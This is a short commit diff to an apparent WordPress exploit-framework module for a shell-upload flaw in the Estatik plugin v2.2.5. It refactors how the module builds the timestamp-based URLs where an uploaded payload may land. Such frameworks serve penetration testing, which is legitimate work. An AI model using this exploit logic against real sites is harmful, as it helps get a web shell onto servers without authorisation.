Fix module following changes to ShellUpload mixin

Author: rastating

modules/exploits/estatik_v2.2.5_shell_upload.rb

@@ -40,12 +40,14 @@ def expected_upload_response_code
     500
   end
 
-  def execute_payload(_payload_url)
-    @end_timestamp = Time.now.to_i
+  def possible_payload_upload_locations
+    locations = []
     base_upload_uri = normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'))
 
-    (@start_timestamp..@end_timestamp).each do |timestamp|
-      super(normalize_uri(base_upload_uri, "#{timestamp}_#{payload_name}"))
+    upload_timestamp_range.each do |timestamp|
+      locations.push(normalize_uri(base_upload_uri, "#{timestamp}_#{payload_name}"))
     end
+
+    locations
   end
 end